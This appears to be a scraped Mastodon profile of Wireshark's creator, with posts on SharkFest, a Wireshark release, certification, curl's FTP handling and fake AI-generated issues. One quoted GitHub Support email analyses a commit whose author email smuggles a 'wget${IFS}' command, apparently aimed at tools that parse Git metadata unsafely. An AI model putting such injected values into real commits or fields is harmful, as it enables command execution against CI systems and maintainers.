Gerald Combs

@geraldcombs@infosec.exchange
518 Followers
70 Following
389 Posts
Creator & lead developer, Wireshark. Works at Sysdig. He / him.
Websitehttps://www.wireshark.org/
Twitterhttps://twitter.com/geraldcombs
Pronounshe / him / hey, jackass
Blueskyhttps://bsky.app/profile/geraldcombs.bsky.social
I'm happy that my talk on open source eSIM integration into embedded Linux devices has been accepted at Embedded Linux Conference Europe 2025, for details see https://osseu2025.sched.com/event/25Vlq/open-source-for-esim-integration-harald-welte-sysmocom-gmbh #linux #cellular #iot #esim
Open Source Summit Europe 2025: Open Source for ESIM Integration - Haral...

View more about this event at Open Source Summit Europe 2025

Final call: this is your last chance to register for SharkFest’25 US!

Join Wireshark creator @geraldcombs, internet legend Vint Cerf, and a global community of network engineers, analysts, and educators for the ultimate deep dive into packets and protocols.

Register now: https://sharkfest.wireshark.org/sfus

#sf25us #Wireshark #PacketAnalysis #NetworkEngineering

@q

Formatting may get slightly mangled here, but should be decipherable:

GitHub Support, Jun 11, 2025, 8:17 AM UTC

Hi Ryan,

Thanks for your patience. So far, our engineering team found a commit with a malformed author/committer email and and invalid timestamps.

$ git cat-file commit d18cf25755d73e1ebc295155fe278c19f4f874fetree f828c7cd0f33131d46f8761fd875f64ce5af880dparent a69b1149073c467803f73a2efd55c10f07051e59author Ryan Castellucci <wget${IFS}r.vc/ghe@ryanc.org> 1668615481 -2456committer Ryan Castellucci <wget${IFS}r.vc/ghe@ryanc.org> 1668615481 -2456

Author and committer email:

author Ryan Castellucci <wget${IFS}r.vc/ghe@ryanc.org>

That email uses shell expansion syntax: wget${IFS}r.vc/ghe. This is likely an attempt to exploit command substitution in log viewers or tools that unsafely handle commit metadata (e.g., CI scripts or webhooks).

Timestamps:

1668615481 -2456

The negative timezone offset -2456 is invalid. Standard timezones go from -1200 to +1400. This could cause issues in tools that parse or display timezones strictly.

Our engineering team are working on how to handle such scenarios to avoid the server errors you're seeing.

In the meantime, if this commit came from an external contributor or looks unintended, we recommend:

  • Inspecting how it got into the repository

  • Rewriting history to remove it (if it was part of a PR or forced push)

  • Checking your workflow or scripts for unsafe parsing of Git metadata

Please give this a try and update me on how it goes.

Are you passionate about packet analysis, protocol behavior, network troubleshooting, or #Wireshark in general? We want you to share your expertise at SharkFest’25 EUROPE, the premier conference for Wireshark users, developers, and networking professionals.

We're looking for engaging sessions that help attendees sharpen their skills and apply packet-level insights in real-world scenarios.

Submit your proposal now: https://conference.wireshark.org/sharkfest-25-europe-2025/cfp

#Wireshark 4.4.7 has been released. Cheers! These releases are brought to you by the Wireshark Foundation. If you or your employer can donate, it would help us out immensely.

https://www.wireshark.org/docs/relnotes/wireshark-4.4.7.html

https://wiresharkfoundation.org/donate/

Wireshark • Wireshark • Wireshark 4.4.7 Release Notes

Wireshark: The world's most popular network protocol analyzer

Wireshark

The Wireshark Foundation, the nonprofit steward of WIRESHARK, the world’s most widely used network protocol analyzer, proudly announces the launch of the Wireshark Certified Analyst (WCA-101) certification. This rigorous new exam is designed to formally recognize engineers who demonstrate professional-level proficiency in network protocol analysis and advanced troubleshooting using Wireshark.

Targeted toward IT Operations, Security Operations, and Development teams, the WCA certification is ideal for individuals who already use Wireshark in their environment, or those ready to integrate it to elevate operational visibility and incident response capabilities.

Learn more: https://www.wireshark.org/blog/2025-06-01-announcing-the-wireshark-certified-analyst-certification

#Wireshark #WCA

Today, we received fake issues created by an AI. These had a really disruptive effect. While it can sound ridiculous, I think it is important to share it with you.

Initially, I (tom79 - the dev involved in issues) didn't notice they were from different accounts (around 8 issues posted during three hours). The automatic profile picture generated, used the same colours and I didn't pay attention to the username. I thought, someone was upset about the app and there is nothing wrong about that.

FTP is quite unique in the #curl collection of protocols due to its (weird) mandatory use of a separate TCP connection for the data transfer (and the fact that it can be setup in either direction, client to server or server to client) . It is complicated for users, for sysadmins and it is a complication in source code and internal curl TCP management as well.

So yeah, it also keeps causing us headaches to this day.

anybody who uses firewalla router + AP(s) willing to provide a pcap of VQLAN? or screenshot of frame? i am super curious and want to compare it to some other stuff